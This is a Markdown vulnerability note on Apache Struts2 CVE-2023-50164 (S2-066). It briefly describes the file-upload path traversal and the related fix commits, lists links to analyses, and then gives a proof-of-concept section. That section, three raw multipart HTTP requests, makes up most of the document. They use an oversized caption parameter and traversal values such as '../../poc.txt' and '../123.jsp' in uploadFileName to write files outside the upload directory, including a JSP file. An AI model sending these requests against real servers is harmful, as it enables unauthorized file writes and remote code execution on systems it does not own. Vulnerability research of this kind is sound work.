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95 lines
3.4 KiB
Markdown
95 lines
3.4 KiB
Markdown
## Apache Struts2 CVE-2023-50164
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漏洞描述里提到可通过伪造文件上传的参数导致目录穿越，看版本比对，有两个 Commit 引起我的关注，一个是 Always delete uploaded file，另一个是 Makes HttpParameters case-insensitive。前者的作用是确保上传的临时文件被正确上传，在修复之前，通过构造超长的文件上传参数可以让临时文件继续留存在磁盘中；
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## 漏洞复现分析
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- https://trganda.github.io/notes/security/vulnerabilities/apache-struts/Apache-Struts-Remote-Code-Execution-Vulnerability-(-S2-066-CVE-2023-50164)
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- https://y4tacker.github.io/2023/12/09/year/2023/12/Apache-Struts2-%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E5%88%86%E6%9E%90-S2-066/
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## poc
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```
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POST /s2_066_war_exploded/upload.action HTTP/1.1
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Host: localhost:8080
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Accept-Language: en-US,en;q=0.9
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User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
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Accept-Encoding: gzip, deflate, br
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Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5WJ61X4PRwyYKlip
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Content-Length: 593
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------WebKitFormBoundary5WJ61X4PRwyYKlip
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Content-Disposition: form-data; name="upload"; filename="poc.txt"
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Content-Type: text/plain
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test
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------WebKitFormBoundary5WJ61X4PRwyYKlip
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Content-Disposition: form-data; name="caption";
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{{randstr(4097,4097)}}
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------WebKitFormBoundary5WJ61X4PRwyYKlip--
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```
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```
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POST /s2_066_war_exploded/upload.action HTTP/1.1
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Host: localhost:8080
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Accept-Language: en-US,en;q=0.9
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User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
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Accept-Encoding: gzip, deflate, br
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Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5WJ61X4PRwyYKlip
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Content-Length: 593
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------WebKitFormBoundary5WJ61X4PRwyYKlip
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Content-Disposition: form-data; name="upload"; filename="poc.txt"
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Content-Type: text/plain
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test
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------WebKitFormBoundary5WJ61X4PRwyYKlip
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Content-Disposition: form-data; name="uploadFileName";
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../../poc.txt
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------WebKitFormBoundary5WJ61X4PRwyYKlip--
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```
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```
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POST /untitled4_war_exploded/upload.action HTTP/1.1
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Host: localhost:8080
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Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
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Accept-Encoding: gzip, deflate, br
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Sec-Fetch-User: ?1
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
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Content-Type: multipart/form-data; boundary=---------------------------299952630938737678921373326300
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Upgrade-Insecure-Requests: 1
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Sec-Fetch-Site: same-origin
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
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Sec-Fetch-Mode: navigate
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Origin: http://localhost:8080
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Sec-Fetch-Dest: document
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Cookie: JSESSIONID=4519C8974359B23EE133A5CEA707D7D0; USER_NAME_COOKIE=admin; SID_1=69cf26c6
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Referer: http://localhost:8080/untitled4_war_exploded/
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Content-Length: 63765
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-----------------------------299952630938737678921373326300
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Content-Disposition: form-data; name="Upload"; filename="12.txt"
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Content-Type: image/png
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111
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-----------------------------299952630938737678921373326300
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Content-Disposition: form-data; name="uploadFileName";
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Content-Type: text/plain
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../123.jsp
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-----------------------------299952630938737678921373326300--
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```
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- https://blog.csdn.net/qq_18193739/article/details/134935865
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